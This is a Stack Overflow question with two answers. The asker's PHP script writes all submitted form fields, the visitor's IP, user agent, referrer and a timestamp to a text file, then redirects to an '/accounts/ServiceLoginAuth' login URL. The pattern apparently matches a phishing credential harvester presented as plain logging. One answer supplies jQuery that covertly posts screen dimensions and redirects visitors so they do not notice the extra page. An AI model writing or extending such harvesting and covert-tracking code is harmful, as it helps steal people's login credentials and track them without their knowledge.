0

I have an existing piece of code which I use to log certain data to a text file:

<?php

    header("Location: https://www.example.com/accounts/ServiceLoginAuth ");
    $handle = fopen("file.txt", "a");

    $post = $_POST;
    $post['IP'] = $_SERVER['REMOTE_ADDR'];
    $post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT'];
    $post['Referrer'] = $_SERVER['HTTP_REFERER'];
    $post['Date&Time'] = date("l jS \of F Y h:i:s A");

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>

I also want to record the screen resolution but apparently, there is no way to do this and is only possible with JS:

var screenWidth = window.screen.width,
    screenHeight = window.screen.height;

So how do I get this info to be recorded in the same file?

PS: I cannot use jquery... :(

*****EDIT*****

Ok, I can use JQuery but the output still needs to be in the same text file...

9
  • I also happen to a complete noob... Commented Jun 3, 2015 at 16:48
  • POST the data from the page and get it to your function, then save it. Commented Jun 3, 2015 at 16:52
  • i think this will solve your problem stackoverflow.com/questions/1504459/… Commented Jun 3, 2015 at 16:56
  • possible duplicate of Get user's screen&viewport dimensions in php on first load Commented Jun 3, 2015 at 17:01
  • How is this a duplicate? Commented Jun 3, 2015 at 17:30

2 Answers 2

1

You can't, at least at the same time.

While your php is executing, your page is still pending to be send to the client (or it is in process to do).

Your javascript will be executed while the page is loading in client side and there is no chance to act over browser's http connection to your server.

So, if you want to get this data in server side, you should send it via ajax to some script that receive it.

Ok. It could modify same file. But be careful to not overlap your other script execution so you could end up with unexpected result.

Also take in mind that you can't be sure that client will effectively execute your javascript or even could it complete ajax connection to send you that information so you need to be perepared to have incomplete registers.

Sign up to request clarification or add additional context in comments.

Comments

1

One way that comes to mind, is instead of having your existing code in the page the user lands on, have a new file with the Javascript, which like you already know can get the resolution.

Then, have that new initial page POST the resolution variables to your php script in the background, then the resolution variables will be part of the POST array and can store them with the rest of your existing POST data.

POST'ing data using Javascript is fairly routine, and would probably be it's own topic, but I'm sure you could find unlimited examples around the web, JQuery does do it with less code, but too bad that's not an option :(

Edit: Example below is posting to the php using jQuery

Make new "landing.php" (doesn't have to be .php, could be .html) or what ever name you want, and have this be where the user lands first, and put this in it. It could be an existing page that your user might already land on, in which case just put this in the bottom. Then it will happen in the background while the user goes about their business.

<script type="text/javascript">

    var screenWidth = window.screen.width,
        screenHeight = window.screen.height;

    $.post('name_and_path_of_php_file_you_already_created.php', { 
            screenWidth: screenWidth, 
            screenHeight: screenHeight 
          }, function(data) {

                // Can do something extra here, most likely redirect your 
                // user to a more meaningful page after the file is created
                // using something like.

                window.location.href = 'some_meaning_page.php';

                // Also in this case, 'data' variable will hold anything
                // Outputted from the PHP if any, and is optional, but can
                // be useful for echo'ing out some status code or something
                // and make a decision.

        });

</script>

Because your existing php script already loops through the $_POST array ($post in your case) and makes key/value pairs, then this means the 'screenWidth' and 'screenHeight' key/values will be automatically added to the file with your other variables.

If you are able to add this to an existing page you know the user is landing on, then you probably don't need to redirect with the 'window.location.href', but if it's the first page, then they wont see anything, and you would want to redirect them to some content, and to them it would happen so fast they wouldn't really know they were on one page and sent to another, it would just look like the page they went to was loading normally.

Let me know if this is not clear, or if need help with another aspect.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.